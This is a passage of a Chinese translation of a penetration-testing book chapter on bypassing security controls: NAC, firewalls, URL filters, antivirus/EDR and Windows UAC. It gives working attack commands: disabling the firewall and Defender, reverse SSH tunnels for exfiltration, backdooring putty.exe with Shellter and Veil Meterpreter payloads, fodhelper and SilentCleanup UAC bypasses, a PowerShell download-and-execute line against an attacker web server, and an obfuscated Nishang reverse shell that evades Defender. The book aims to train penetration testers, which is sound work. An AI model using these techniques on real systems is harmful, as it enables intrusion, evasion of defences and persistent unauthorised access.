精通-Kali-Linux-高级渗透测试第四版-三-

精通 Kali Linux 高级渗透测试第四版（三）

原文：annas-archive.org/md5/f5feb6589da538624c2172905f61ccec

译者：飞龙

协议：CC BY-NC-SA 4.0

第九章：绕过安全控制

COVID-19 大流行促使许多组织在 2020 年全面转向远程办公，这大大增加了远程工作人员所使用的终端设备的风险。从 2018 年初至今，终端检测与响应（EDR）的兴起，已成为传统防病毒软件的替代品，尤其是针对各种类型的安全事件，特别是复杂的勒索病毒和泄密软件。话虽如此，大多数情况下，当测试人员获得内部网络访问或高度特权访问时，他们认为测试已经完成，假设他们具备完全入侵网络或企业的知识和工具。

渗透测试活动中被忽视的一个方面是绕过安全控制，以评估目标组织的检测和防御技术。在所有渗透测试活动中，渗透测试员或攻击者需要了解在对目标网络/系统进行主动攻击时，什么因素会使漏洞失效，同时绕过目标组织设置的安全控制，成为网络杀链方法论的重要组成部分。在本章中，我们将回顾现有的各种安全控制，识别克服这些控制的系统化流程，并通过 Kali 工具集中的工具来演示。

在本章中，你将学习以下内容：

• 绕过网络访问控制（NAC）

• 使用不同策略和技术绕过传统的防病毒（AV）/终端检测与响应（EDR）工具

• 绕过应用层控制

• 理解 Windows 特定操作系统的安全控制

让我们在下一节中探讨不同类型的 NAC 以及如何绕过它们。

绕过网络访问控制（NAC）

NAC 基于 IEEE 802.1X 标准的基本形式工作。大多数公司实施 NAC 来保护网络节点，如交换机、路由器、防火墙、服务器，更重要的是终端。优秀的 NAC 表示实施的控制措施通过策略防止入侵，并定义谁可以访问什么。在本节中，我们将深入探讨渗透测试人员或攻击者在 RTE 或渗透测试过程中遇到的不同类型 NAC。

NAC 没有特定的共同标准或规范化；它取决于供应商和实施方式。例如，思科提供思科网络接入控制，微软提供微软网络接入保护。NAC 的主要目的是控制可以连接的设备/元素，并确保它们经过合规性测试。NAC 保护可以细分为两类：

• 预接入 NAC

• 后接入 NAC

图 9.1 提供了一些在内部渗透测试或后期利用阶段，按照杀伤链方法进行的攻击者思维导图活动：

图 9.1：不同 NAC 活动的思维导图

预入网 NAC

在预入网 NAC 中，基本上，所有控制措施都由安全要求设定，以便将新设备添加到网络中。以下部分解释了绕过这些措施的不同方法：

添加新元素

通常，任何成熟的 NAC 部署在企业中都能够识别网络中添加的任何新设备（元素）。在红队演练或内部渗透测试过程中，攻击者通常会向网络添加一个设备，如pwnexpress NAC，并通过在设备上运行 Kali Linux 并保持对该设备的 shell 访问，绕过 NAC 设置的限制。

在第六章，无线与蓝牙攻击的绕过 MAC 地址认证与开放认证*部分中，我们展示了如何通过macchanger绕过 MAC 地址认证，使我们的系统能够通过网络。

识别规则

理解规则的应用方式被认为是一种艺术，尤其是当内部系统隐藏在 NAT 后面时。例如，如果你能够通过 MAC 地址过滤绕过或物理插入局域网电缆的方式将 Kali 攻击箱连接到内部网络，你现在已经将该元素以本地 IP 地址添加到公司网络中，如图 9.2所示。DHCP 信息会自动更新到你的/etc/resolv.conf文件中。

图 9.2：Kali Linux 上带有内部 DNS 条目的 DHCP 信息

许多企业实施了 DHCP 代理来保护自己；通过添加静态 IP 地址可以绕过这一措施。一些路由器会在你的设备通过 HTTP 认证后才分配 DHCP；通过执行中间人攻击可以捕获这些信息。

例外

我们通过经验发现，许多组织对其访问控制列表的规则存在明显的例外。例如，如果允许应用服务端口通过受限 IP 范围访问，则认证过的元素或端点可以模拟例如路由等例外。

隔离规则

在渗透测试过程中识别隔离规则将测试攻击者绕过组织设定的安全控制的能力。

禁用端点安全

攻击者在预入网 NAC 中可能遇到的一种情况是，当元素不符合要求时，端点将被禁用。例如，试图连接到没有安装 antivirus 的网络元素将被自动隔离，交换机上的网络端口/接口将被禁用。

防止修复

大多数终端都有定义的防病毒软件和预定义的修复活动。例如，具有有效 IP 地址并进行端口扫描的特定设备将在一段时间内被阻止，且流量会被防病毒软件阻断。

添加例外

一旦你获得了远程命令行的访问权限，添加一组规则也非常重要。测试人员可以通过以管理员身份在 Windows 命令行中运行reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f来启用远程桌面协议。

例如，你可以利用netsh Windows 命令行工具，通过输入以下命令将远程桌面添加到防火墙中：

netsh advfirewall firewall set rule group="remote desktop" new enable=Yes 

在成功执行前述命令后，攻击者应能看到下图：

图 9.3：通过 Windows 防火墙添加远程桌面规则

一种非隐蔽的方式是通过运行netsh advfirewall set allprofiles state off，或在较早版本的 Windows 中运行netsh firewall set opmode disable来禁用所有配置文件。

通过后入访问控制（NAC）

后入 NAC 是一组已经被授权的设备，位于用户交换机和分布式交换机之间。攻击者可以尝试绕过的一项显著保护措施是防火墙和入侵防御系统。

绕过隔离

在高级主机入侵防御的情况下，如果终端缺少安全配置，或被妥协或感染，可能会有一个规则将该终端隔离在特定的段中。这将为攻击者提供机会，利用该特定段中的所有系统。

检测蜜罐

我们甚至注意到，一些公司已经实施了高级保护机制，在这些机制中，被感染的系统或服务器会被引导到蜜罐解决方案，以设置陷阱并揭示感染或攻击背后的真正动机。

测试人员可以通过通常会响应并且所有端口都开放的蜜罐主机来识别这些主机。

绕过应用程序级别的控制

在利用成功后，绕过应用程序控制是一个直接的操作。多种应用程序级别的保护/控制被实施。在本节中，我们将深入探讨常见的应用程序级别的控制措施以及绕过它们的策略，并从公司网络建立与互联网的连接。

使用 SSH 隧道绕过客户端防火墙

在将自己添加到内部网络后，需要学习的主要内容之一是如何使用 SSH 绕过防火墙进行隧道连接。我们现在将探讨如何通过绕过所有已实施的安全控制来从外部互联网设置到攻击盒的反向隧道。

从入站到出站

在以下示例中，Kali Linux 运行在位于 18.x.x.74 的互联网云上，并在 443 端口上运行 SSH 服务（确保您通过编辑 /etc/sshd_config 文件并将 Port 设置为 443 来更改 SSH 设置）。如果内部企业网络上的所有端口在防火墙级别被阻止，除了端口 80 和 443，这意味着内部人员可以从企业网络访问互联网。攻击者则可以通过直接访问 443 端口上的 SSH 服务利用远程 Kali Linux。技术上来说，就公司而言，这是从内部网络访问互联网。

图 9.4：通过端口 443 访问远程 Kali Linux

接下来，您应该能够在云上使用您的 Kali Linux 机器与内部网络进行通信。

绕过 URL 过滤机制

您可以利用现有的 SSH 连接和端口转发技术绕过由安全策略或特殊设备设置的任何限制。

在以下示例中，展示了存在一个 URL 过滤设备，阻止我们访问某些网站，如以下 图 9.5 所示：

图 9.5：URL 过滤设备阻止的域内容

可以使用隧道工具绕过此限制；在此示例中，我们将使用名为 PuTTY 的便携式软件，可以直接从 www.chiark.greenend.org.uk/~sgtatham/putty/latest.html 下载：

1. 打开 putty.exe 应用程序（大多数情况下，便携式可执行文件不会被阻止），并连接到您的远程主机的 443 端口，接受证书并登录。

2. 在 Connection 标签中点击 Tunnels

3. 将本地端口设置为 8090，并将远程端口设置为 自动，如 图 9.6 所示：

   图 9.6：通过现有 SSH 通信设置隧道

   这现在已经启用了通过 SSH 隧道使用外部系统的设置访问您的内部系统的互联网，这意味着现在所有 TCP 端口 8090 上的流量都可以通过 18.x.x.74 的外部系统转发。

4. 下一步是进入 Internet Options | LAN connections | Advanced | SOCKs，并在 Proxy address to use 中输入 127.0.0.1，端口设置为 8090，如 图 9.7 所示：

   图 9.7：设置 Socks IP 指向代理 SSH 隧道

现在，代理已经指向远程主机，您将能够访问网站而不被代理或任何 URL 过滤设备阻止，如 图 9.8 所示。

通过这种方式，渗透测试人员可以绕过现有的 URL 过滤并将数据外泄到公共云、黑客托管的计算机或被封锁的网站。

图 9.8：成功访问受限域

绕过 URL 过滤机制后，攻击者可能能够访问他们控制的网站；例如，他们可能能够放置加密恶意软件以挖掘托管端点的计算能力。

从外到内

要从外部系统建立到内部系统的稳定连接，必须使用 SSH 创建一个隧道。在这种情况下，我们有一台连接到内部局域网的 Kali Linux 机器，它具有有效的 IP 地址。以下命令将帮助在网络内部创建一个隧道通向外部。在运行之前，测试者必须确保通过编辑 /etc/ssh/ssh_config 更改 SSH 配置，将 GatewayPorts 设置为 yes，并通过运行 sudo service ssh restart 重启 SSH 服务：

ssh -R 2210:localhost:443 -p 443 remotehacker@ExternalIPtoTunnel 

图 9.9 显示了通过 SSH 从内部网络登录到云端机器上的 Kali Linux，该机器已经在本地主机上打开了 2210 端口来转发 SSH：

图 9.9：从内部网络到外部主机创建反向 SSH 隧道

这样做是为了建立一个稳定的反向连接到远程主机，使用反向 SSH 隧道绕过任何防火墙限制。如果攻击者利用常见端口如80、8080、443 和 8443，则将更加隐蔽。一旦远程系统验证通过，从远程主机运行以下命令。这应该能让你在防火墙外部仍能访问内部网络：

ssh -p 2210 localhost 

图 9.10：通过反向 SSH 隧道成功访问防火墙外部的内部主机

拥有内部访问权限后，关键是保持持久性以便导出数据并保持访问，而不触发任何防火墙或网络保护设备。

通过文件绕过杀毒软件

网络攻击链中的利用阶段对渗透测试者或攻击者来说是最危险的，因为他们直接与目标网络或系统互动，且存在很高的活动被记录或身份被发现的风险。因此，必须采用隐蔽手段以尽量减少对测试者的风险。虽然没有任何特定的工具或方法是无法被检测到的，但有一些配置更改和特定的工具可以使得检测变得更加困难。

在考虑远程漏洞时，大多数网络和系统会采用各种防御控制措施，以最大限度地减少攻击风险。网络设备包括路由器、防火墙、入侵检测和防御系统以及恶意软件检测软件。

为了促进利用，大多数框架都集成了使攻击稍微隐秘的功能。Metasploit 框架允许您手动设置每个漏洞的规避因素，确定哪些因素（如加密、端口号、文件名等）可能难以识别，并且会根据每个特定 ID 进行更改。Metasploit 框架还允许将目标和攻击系统之间的通信加密（windows/meterpreter/reverse_tcp_rc4有效载荷），从而使漏洞利用载荷更难被检测。

Metasploit Pro（Nexpose），作为 Kali 发行版中的社区版，包含以下功能，专门用于绕过入侵检测系统：

• 可以在Discovery Scan设置中调整扫描速度，通过将速度设置为“隐秘”或“偏执”，减少与目标的交互速度

• 这通过发送更小的 TCP 数据包并增加数据包之间的传输时间来实现传输规避

• 这减少了同时对目标系统发起的攻击数量

• 对于涉及 DCERPC、HTTP 和 SMB 的漏洞攻击，提供了特定于应用程序的规避选项，这些选项可以自动设置

大多数杀毒软件依赖于特征匹配来定位病毒、勒索软件或其他恶意软件。它们会检查每个可执行文件中是否包含已知病毒特征的代码字符串（即特征），并在检测到可疑字符串时发出警报。Metasploit 的许多攻击依赖于可能具有特征的文件，这些特征随着时间的推移被杀毒软件厂商识别。

为应对此问题，Metasploit 框架允许对独立可执行文件进行编码，以绕过检测。

不幸的是，在公共网站上对这些可执行文件进行广泛测试，如virustotal.com和antiscan.me，已经降低了它们绕过杀毒软件的效果。然而，这也催生了像 Veil 和 Shellter 这样的框架，它们通过在将后门植入目标环境之前，将可执行文件直接上传到 VirusTotal 并进行交叉验证，从而绕过杀毒软件。

使用 Veil 框架

Veil 框架是另一个 AV 规避框架，由 Chris Truncer 编写，名为 Veil-Evasion，提供有效的保护和检测针对终端和服务器的独立漏洞攻击。虽然该框架已被创作者停滞（不再支持），但攻击者仍然可以通过进一步修改工具创建的有效载荷，使其不被检测到。Veil 框架的最新版本为 2021 年 8 月发布的 3.1.14。该框架由两个工具组成：Evasion 和 Ordnance。Veil 框架可以通过 Kali 仓库获得，用户只需在终端中输入sudo apt install veil即可自动安装。

如果在安装过程中遇到任何错误，请重新运行 /usr/share/veil/config/setup.sh --force --silent。

Evasion 将各种技术聚合成一个框架，简化管理，而 Ordnance 为支持的有效载荷生成 shellcode，进一步创造已知漏洞的新漏洞利用。

作为一个框架，Veil 包含多个功能，具体如下：

• 它将自定义 shellcode 集成到多种编程语言中，包括 C、C# 和 Python。

• 它可以使用 Metasploit 生成的 shellcode，或者你可以使用 Ordnance 创建你自己的 shellcode。

• 它可以集成第三方工具，如 Hyperion（使用 AES 128 位加密加密 EXE 文件）、PEScrambler 和 BackDoor Factory。

• 有效载荷可以被生成并无缝地替换到所有 PsExec、Python 和 .exe 调用中。

• 用户可以重复使用 shellcode 或实现自己的加密方法。

• 它的功能可以通过脚本化来自动化部署。

Veil 可以生成一个漏洞利用有效载荷；独立的有效载荷选项包括以下内容：

• 最小化的 Python 安装用于调用 shellcode；它上传一个最小的 Python.zip 安装包和 7Zip 二进制文件。Python 环境被解压后，触发 shellcode。由于与受害者交互的唯一文件是受信任的 Python 库和解释器，受害者的防病毒软件不会检测到任何异常活动。

• Sethc 后门配置受害者的注册表以启动 RDP 粘滞键后门。

• 一个 PowerShell shellcode 注入器。

当有效载荷创建完成后，它们可以通过以下两种方式之一传送到目标：

• 使用 Impacket 和 PTH 工具包上传并执行。

• UNC 调用

Veil 向用户展示主菜单，提供两个工具供选择，并加载多个有效载荷模块以及可用的命令。输入 use Evasion 将带我们进入 Evasion 工具，而 list 命令会列出所有可用的 payloads。Veil 框架的初始启动屏幕如 图 9.11 所示：

图 9.11：Veil 框架的主菜单

目前，Evasion 工具中有 41 个有效载荷，旨在通过使用加密或直接注入内存空间来绕过防病毒软件。这些有效载荷在 图 9.12 中展示：

图 9.12：Veil-Evasion 选项

要获取特定有效载荷的信息，输入 info <有效载荷编号 / 有效载荷名称> 或 info <tab> 来自动补全可用的有效载荷。你也可以直接输入列表中的编号。在以下示例中，我们输入了 14 来选择 python/shellcode_inject/aes_encrypt 有效载荷，并运行 use 29。

利用程序包含一个expire_payload选项。如果模块在指定时间内没有被目标用户执行，它将失效，并且还包括CLICKTRACK，该选项设置用户执行有效载荷所需的点击次数。此功能有助于提高攻击的隐蔽性。

一些必填选项已预先填充了默认值和描述。如果某个必填项没有默认值，测试人员需要执行以下操作：

1. 在生成有效载荷之前，输入一个值。要设置选项的值，请输入set <option name>。

2. 然后输入所需的值。要接受默认选项并创建利用程序，请在 Veil-Evasion shell 中输入generate。

存在一个已知的错误，可能会抛出与加密相关的错误信息。测试人员可以编辑位于/usr/share/veil/tools/evasion/evasion_common/encryption.py的文件，将第 21 行的aes_cipher_object = AES.new(random_aes_key, AES.MODE_CBC, iv)修改为aes_cipher_object = AES.new(random_aes_key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))（去掉引号）。这样应该可以顺利修复错误信息。

默认情况下，Ordnance 是你能够生成特定 shellcode 的地方。如果发生错误，它将默认使用msfvenom或自定义 shellcode。如果选择了自定义 shellcode 选项，请以\x01\x02的形式输入 shellcode，去掉引号和换行符（\n）。如果选择默认选项msfvenom，则会提示选择默认有效载荷 windows/meterpreter/reverse_tcp。如果你想使用其他有效载荷，请按 Tab 键以查看可用的有效载荷。可用的有效载荷在图 9.13中显示：

图 9.13：Veil-Evasion 中的 Metasploit 有效载荷选项

在图 9.14中，按 Tab 键展示了一些可用的有效载荷；然而，默认选项（windows/meterpreter/reverse_tcp）被选中了：

图 9.14：成功创建一个包含有效载荷的文件

Veil-Evasion 利用程序也可以直接从终端创建，使用以下选项。在此示例中，我们使用选项 14 通过 Go 创建一个有效载荷可执行文件：

sudo veil –t Evasion -p 14 --ordnance-payload rev_https --ip 192.168.1.7 --port 443 -o Outfile 

上述命令应输出包含有效载荷可执行文件、源代码和资源文件的文件，并将其传送到 Metasploit 有效载荷，如图 9.15所示：

图 9.15：使用 Go 语言成功创建一个利用程序可执行文件

一旦创建了漏洞利用，测试人员应通过 VirusTotal 验证负载，以确保它在放置到目标系统时不会触发警报。如果负载样本直接提交到 VirusTotal 并且其行为被标记为恶意软件，则防病毒厂商可能会在 1 小时内发布针对该提交的签名更新。这就是为什么用户被告诫不要将样本提交给任何在线扫描器！的原因。

Veil-Evasion 允许测试人员通过 VirusTotal 进行安全检查。当任何负载被创建时，会生成一个 SHA1 哈希值并添加到hashes.txt中，该文件位于~/veil-output目录中。测试人员可以调用checkvt脚本将哈希值提交到 VirusTotal，VirusTotal 会将 SHA1 哈希值与其恶意软件数据库进行匹配。如果 Veil-Evasion 负载触发了匹配，那么测试人员知道它可能会被目标系统检测到。如果没有触发匹配，那么漏洞利用负载将绕过防病毒软件。使用checkvt命令成功查找（防病毒无法检测到）如下所示：

图 9.16：使用 Go 语言成功创建漏洞利用可执行文件

如果攻击者在运行checkvt命令时收到任何错误消息，请确保编辑位于/usr/share/veil/tools/evasion/scripts/vt-notify/vt-notify.rb文件中的$apikey，并将其更改为你的密钥。

使用 Shellter

Shellter 是另一种防病毒规避工具，它动态地感染 PE，并且也用于将 shellcode 注入任何32 位原生 Windows 应用程序。它允许攻击者自定义负载或使用 Metasploit 框架。大多数防病毒软件无法识别恶意可执行文件，具体取决于攻击者如何重新编码无数个签名。

Shellter 可以通过在终端运行sudo apt-get install shellter来安装。一旦应用程序安装完成，我们应该能够通过在终端中输入sudo shellter命令来启动 Shellter，然后查看图 9.17，此时我们已经准备好在任何可执行文件上创建后门：

图 9.17：来自 Kali Linux 的 Shellter 主菜单

一旦启动 Shellter，以下是创建恶意可执行文件的典型步骤：

1. 攻击者应当有选择Auto（A）或Manual（M）以及Help（H）的选项。为了演示，我们将使用Auto模式。

2. 下一步是提供 PE 目标文件；攻击者可以选择任何.exe文件或使用/usr/share/windows-binaries/中的可执行文件。在本例中，我们使用了 32 位的putty.exe。

3. 一旦提供了 PE 目标文件位置，Shellter 将能够反汇编 PE 文件，如图 9.18所示：

   图 9.18：Shellter 编译带有自定义 DLL 注入的 32 位应用程序

4. 当反汇编完成后，Shellter 会提供启用隐身模式的选项。

5. 选择隐身模式后，你将能够将列出的有效载荷注入到相同的 PE 文件中，如图 9.19所示，或者你可以按C键选择自定义有效载荷：

   图 9.19：在 Shellter 中选择有效载荷选项

6. 在这个例子中，我们使用Meterpreter_reverse_HTTPS并提供LHOST和LPORT，如图 9.20所示：

   图 9.20：成功设置有效载荷选项

7. 所有所需的信息都已输入到 Shellter 中。同时，作为输入的 PE 文件现在已经注入了有效载荷，注入过程完成了。

   图 9.21：Kali Linux 中的 Shellter 主菜单

一旦这个可执行文件被传送到受害者那里，攻击者现在将能够根据有效载荷打开监听器；在我们的例子中，LHOST是10.10.10.12，LPORT是443：

use exploit/multi/handler 
set payload windows/meterpreterreverse_HTTPS 
set lhost <YOUR KALI IP> 
set lport 443 
set exitonsession false 
exploit -j -z 

现在，你可以将前面的命令列表保存为文件名listener.rc，然后通过运行msfconsole -r listener.rc在 Metasploit 中执行。当受害者系统在没有被防病毒软件或任何安全控制阻止的情况下启动时，它应该会顺利打开到攻击者的 IP 地址的 shell，如图 9.22所示：

图 9.22：Kali Linux 中的 Shellter 主菜单

这总结了构建后门并将其植入受害者系统的最有效方式。

大多数防病毒软件能够捕捉到反向 Meterpreter shell；然而，建议渗透测试人员在投放漏洞之前进行多次编码。

无文件运行并避开防病毒

大多数组织允许用户访问所有网络段的内部基础设施，或者采用扁平化网络。在一些组织中，特别是在银行业，网络是隔离的，并且实施了严格的访问控制。例如，可能会创建一个内部防火墙规则，只允许80或443端口作为外向通信，并阻止所有其他端口。因此，建议在测试期间使用80或443端口作为所有监听器的端口。在本节中，我们将探讨绕过安全控制并接管目标系统的一些快速方法。

绕过 Windows 操作系统的控制

在每个企业环境中，我们看到提供给终端用户的所有终端通常都是 Windows 操作系统。由于 Windows 的使用广泛，利用 Windows 的可能性总是很高。在本节中，我们将专注于一些特定的 Windows 操作系统安全控制以及如何在访问终端后绕过它们。在下面的例子中，我们使用了一个 Windows 10 虚拟机进行演示。

用户账户控制（UAC）

最近的开发显示，有不同的方法可以绕过 Windows UAC，详细信息请参考 github.com/hfiref0x/UACME。该项目主要集中在恶意软件的逆向工程。所有源代码均使用 C# 和 C 编写，这需要攻击者编译代码并执行已知的攻击。

微软引入了安全控制措施，限制进程在三个不同的完整性级别下运行：高、低和中。高完整性进程具有管理员权限，中级进程以标准用户权限运行，低完整性进程受到限制，确保如果程序被攻破，造成的损害最小。

要执行任何特权操作，程序必须以管理员身份运行并遵守 UAC 设置。四个 UAC 设置如下：

• 始终通知：这是最严格的设置，任何程序想要使用更高权限时，都会提示本地用户。

• 仅在程序尝试更改我的计算机时通知我：这是默认的 UAC 设置。当本地 Windows 程序请求更高权限时，它不会提示用户。然而，如果第三方程序请求提升权限，则会提示。

• 仅在程序尝试更改我的计算机时通知我（不要变暗我的桌面）：这与默认设置相同，但在提示用户时不会使系统显示器变暗。

• 从不通知：此选项将系统恢复到 Vista 之前的状态。如果用户是管理员，则所有程序将以高完整性运行。

因此，在利用之后，测试者（和攻击者）希望了解以下两件事：

• 系统已识别的用户是谁？

• 它们在系统中具有什么权限？

可以使用以下命令来确定：

C:\> whoami /groups 

在这里，一个受损的系统正在高完整性上下文中运行，如 图 9.23 中所示的 Mandatory Label\High Mandatory Level 标签：

图 9.23：个人账户的常见 Windows 权限

如果 Label 是 Mandatory Label\Medium Mandatory Level，则测试者需要从标准用户权限提升到管理员权限，以便许多后续的利用步骤能够成功。

假设攻击者从 Shellter 或 Veil 漏洞获取了一个受限的 shell，提升权限的第一个选项是从 Metasploit 运行 exploit/windows/local/ask，这将启动 RunAs 攻击。此操作将创建一个可执行文件，当调用时，它会运行一个请求提升权限的程序。可执行文件应该使用 EXE::Custom 选项创建，或者使用 Veil 框架加密，以避免被本地杀毒软件检测到。

RunAs攻击的缺点是，用户会被提示一个来自未知发布者的程序尝试对计算机进行更改。这个警告可能会使权限提升被识别为攻击，如图 9.24所示：

图 9.24：受害者在运行 exploit/windows/local/ask 时将收到的弹出窗口

如果系统当前用户属于管理员组，并且 UAC 设置为默认的仅当程序尝试对我的计算机进行更改时通知我（如果设置为始终通知，则无法绕过），攻击者将能够使用 Metasploit 的exploit/windows/local/bypassuac模块提升其权限。

为了确保完全控制远程计算机，我们必须能够获得管理员级别的访问权限。攻击者通常使用getsystem来提升当前权限到系统权限。

图 9.25：Metasploit 中的有限 Shell

ask模块会在目标系统上创建多个伪迹，并且大多数杀毒软件可以识别这些伪迹。请注意，这只有在用户是本地管理员时才有效。现在，让我们使用 Windows 本地漏洞绕过 UAC。一旦SESSION设置为活动会话，攻击者将能够绕过 Windows 操作系统设置的 UAC，成功绕过后，攻击者将获得另一个具有系统级权限的 Meterpreter 会话，如图 9.26所示：

图 9.26：通过 Metasploit 使用 exploit/windows/local/ask 提升权限

使用 fodhelper 绕过 Windows 10 中的 UAC

fodhelper.exe是 Windows 用于管理 Windows 设置中功能的可执行文件。如果攻击者对受害者系统有有限的 Shell 或普通用户访问权限，他们可以利用fodhelper.exe来绕过 UAC。

测试人员必须注意微软防御者实时监控是否已禁用，因为此路径可能会被防御者阻止作为 UAC 绕过。建议通过以管理员身份运行PowerShell.exe Set-MpPreference –DisableRealtimeMonitoring $true命令来禁用微软防御者。

绕过 UAC 可以通过在 Windows PowerShell 中运行以下命令来实现，这些命令利用了 Windows 操作系统中的受信任二进制文件，该二进制文件允许在大多数 UAC 设置下提升权限，而无需 UAC 提示。该二进制文件会检查特定的注册表键并执行指令：

WmiObject Win32_UserAccount -filter "LocalAccount=True"| Select-Object Name,Fullname,Disabled
New-Item -Path HKCU:\Software\classes\ms-settings\shell\open\command -value cmd.exe –Force
New-ItemProperty -Path HKCU:\Software\classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
fodhelper 

![背景图案 说明自动生成](https://p6-xtjj-sign.byteimg.com/tos-cn-i-73owjymdk6/241e7bbcd60b424e9ce005288f49bbdd~tplv-73owjymdk6-jj-mark-v1:0:0:0:0:5o6Y6YeR5oqA5pyv56S-5Yy6IEAg5biD5a6i6aOe6b6Z:q75.awebp?rk3s=f64ab15b&x-expires=1773715122&x-signature=4neS2zNQqgDeIcEGNmX58U2y4GA%3D)

图 9.27：手动 fodhelper UAC 绕过

或者，这可以通过运行一行 PowerShell 脚本来实现。在攻击者托管的 HTTP Web 服务器的帮助下，可以通过以下方式实现：

1. 下载绕过脚本（github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2009/FodHelperBypassUAC.ps1）

2. 通过运行 sudo service apache2 start 在 Kali Linux 上启动 apache2 服务

3. 将漏洞利用文件复制到相关的 HTML 文件夹，cp FodhelperBypass.ps1 /var/www/html/anyfolder/，然后使用以下命令运行：

   Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1') FodhelperBypass -program 'cmd.exe /c Powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/agent.ps1')" 
   

上述脚本将打开一个新的 Empire PowerShell shell，并以高权限运行。我们将在 第十章，利用 中详细探讨如何使用 PowerShell Empire。

使用磁盘清理绕过 Windows 10 中的 UAC

这种攻击方法涉及磁盘清理，这是 Windows 中的一个工具，旨在释放硬盘空间。Windows 10 上的默认计划任务揭示了一个名为 SilentCleanup 的任务，它以最高权限执行磁盘清理过程 cleanmgr.exe，即使是由无权限用户执行也会如此。该过程会在 Temp 目录中创建一个名为 GUID 的新文件夹，并将一个可执行文件和多个 DLL 文件复制到其中。

然后启动可执行文件，它会按特定顺序加载 DLL 文件，如 图 9.28 所示：

reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM"
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I 

图 9.28：利用 DiskCleanUP 漏洞提升权限

尽管 Microsoft Defender 提供了实时监控，但该漏洞利用可能在设备上多次运行时仍然有效。

混淆 PowerShell 并使用无文件技术

近期端点安全防御机制和基于 EDR 的实时监控对现有攻击工具造成了很多限制。然而，总是有新的方法可以绕过它们。在本节中，我们将探讨如何混淆一个已知的 PowerShell 有效载荷，并获取一个远程 shell 给攻击者。

我们将利用PyFuscation工具。这个工具是用 Python 3 编写的，能够替换给定 PowerShell 脚本中的所有函数名、变量和参数。可以通过运行以下命令从 Git 仓库直接克隆：

sudo git clone https://github.com/CBHue/PyFuscation 
cd PyFuscation 
sudo python3 PyFuscation.py 

这样就准备好混淆器了。接下来，我们将使用 Nishang PowerShell 脚本来混淆有效载荷。可以通过运行 sudo git clone https://github.com/samratashok/nishang 从 Git 仓库克隆这些脚本，然后从相同的文件夹中，cd nishang/Shells，将 Invoke-PowerShellTcp –Reverse –IPAddress <yourKaliIP> -Port 443 添加到 Invoke-PowerShellTcp.ps1 脚本内容中并保存文件（该文件位于 nishang/shells 文件夹中）。编辑后的代码片段如 图 9.29 所示：

图 9.29：编辑 Invoke-PowerShellTcp.Ps1 内容

最后，我们将使用 PyFuscation 混淆我们刚刚编辑过的 PowerShell 脚本，通过运行sudo python3 PyFuscation.py –fvp –-ps nameofthescript.ps1。您应该能够看到，PowerShell 脚本、函数、变量和参数已被替换为一个新的文件夹和新的文件名，如图 9.30所示：

图 9.30：在 Invoke-PowerShellTcp.ps1 上运行 PyFuscation

一旦文件成功混淆，我们可以更改目录到输出文件夹，然后将文件重命名为更简洁的名称以便从目标系统调用，接着我们将通过运行python3 –m http.server来托管我们的 Web 服务器，如图 9.31所示：

图 9.31：移动文件并托管 Python Web 服务器

在目标 Windows 机器上，我们只需从 PowerShell 运行wget http://<yourkaliIP>/filename.ps1 -Outfile anyfolder。

现在，最终脚本已经准备好接受杀毒软件扫描。在这个例子中，我们将使用微软 Defender 来扫描脚本，如图 9.32所示。它应该不会找到任何恶意内容。为了查看差异，您可以先尝试使用未混淆的原始脚本，您将看到微软 Defender 的警报，标记其为恶意并将其隔离。

图 9.32：微软 Windows Defender 确认未发现新威胁

最后一步，一旦脚本被传送到目标，攻击者现在可以为目标打开端口进行连接。在这种情况下，端口443是在最初的有效负载中设置的。一旦运行此 PowerShell 脚本，无论是通过 PowerShell 打开它还是直接运行，它都应当打开一个直接的反向 Shell，连接到攻击者的系统，且不会被任何杀毒软件/EDR 拦截，如图 9.33所示：

图 9.33：攻击者的 Kali Linux 远程 Shell，端口 443

我们将在第十三章《指挥与控制》中探讨如何保持指挥和控制的不同技巧。

其他 Windows 特定操作系统控制

Windows 特定操作系统控制可进一步划分为以下五个类别：

• 访问与授权

• 加密

• 系统安全

• 通信安全

• 审计与日志记录

访问与授权

大多数漏洞利用都发生在安全控制的访问和授权部分，以获取系统访问权限并执行未经授权的活动。具体控制如下：

• 将用户添加到凭证管理器中，使用户能够创建作为可信调用者的应用程序。作为回报，该帐户可以获取同一系统上另一个用户的凭证。举个例子，系统的用户将他们的个人信息添加到通用凭证部分，如图 9.34所示：

  图 9.34：Microsoft Windows 10 凭证管理器

• 通过基于云的账户进行登录；默认情况下，一些 Windows 操作系统允许使用 Microsoft 账户。

• 别忘了，旧系统中的来宾账户和被锁定的账户作为服务账户，用于运行计划任务和其他服务。

• 打印机驱动程序安装有助于绕过机器上设置的安全控制。攻击者可能会用恶意可执行文件替换驱动程序安装程序，从而为系统提供一个持久的后门。

• 匿名安全标识符（SID）、命名管道和 SAM 账户枚举是适用于通过域或独立安全设置连接到网络的系统的一些控制措施。

• 远程访问注册表路径和子路径。

加密

Microsoft Windows 采用的加密技术通常涉及密码存储、NTLM 会话和安全通道数据。

攻击者通常通过利用较弱的加密套件或直接禁用加密功能来成功绕过加密。

系统安全

系统级别的安全性主要围绕本地系统级别的利用和用于启动绕过的控制措施：

• 时区同步：在大多数组织中，所有终端会与主域同步时间；这为攻击者提供了伪造证据或跟踪漏洞利用的机会。

• 创建页面文件、锁定内存中的页面，并创建令牌对象——其中一些令牌对象和页面文件在系统级别运行。一种典型的攻击方式是休眠文件攻击。

• 渗透测试人员在获得目标系统的本地管理员权限后，必须考虑的首要事项之一是将自己身份验证到域中，提升权限，并向域中添加一个能够创建全局对象和符号链接的用户，这将提供对域的完全访问。

• 加载和卸载设备驱动程序，并设置固件环境值。

• 启用所有系统用户的自动管理员登录。

通信安全

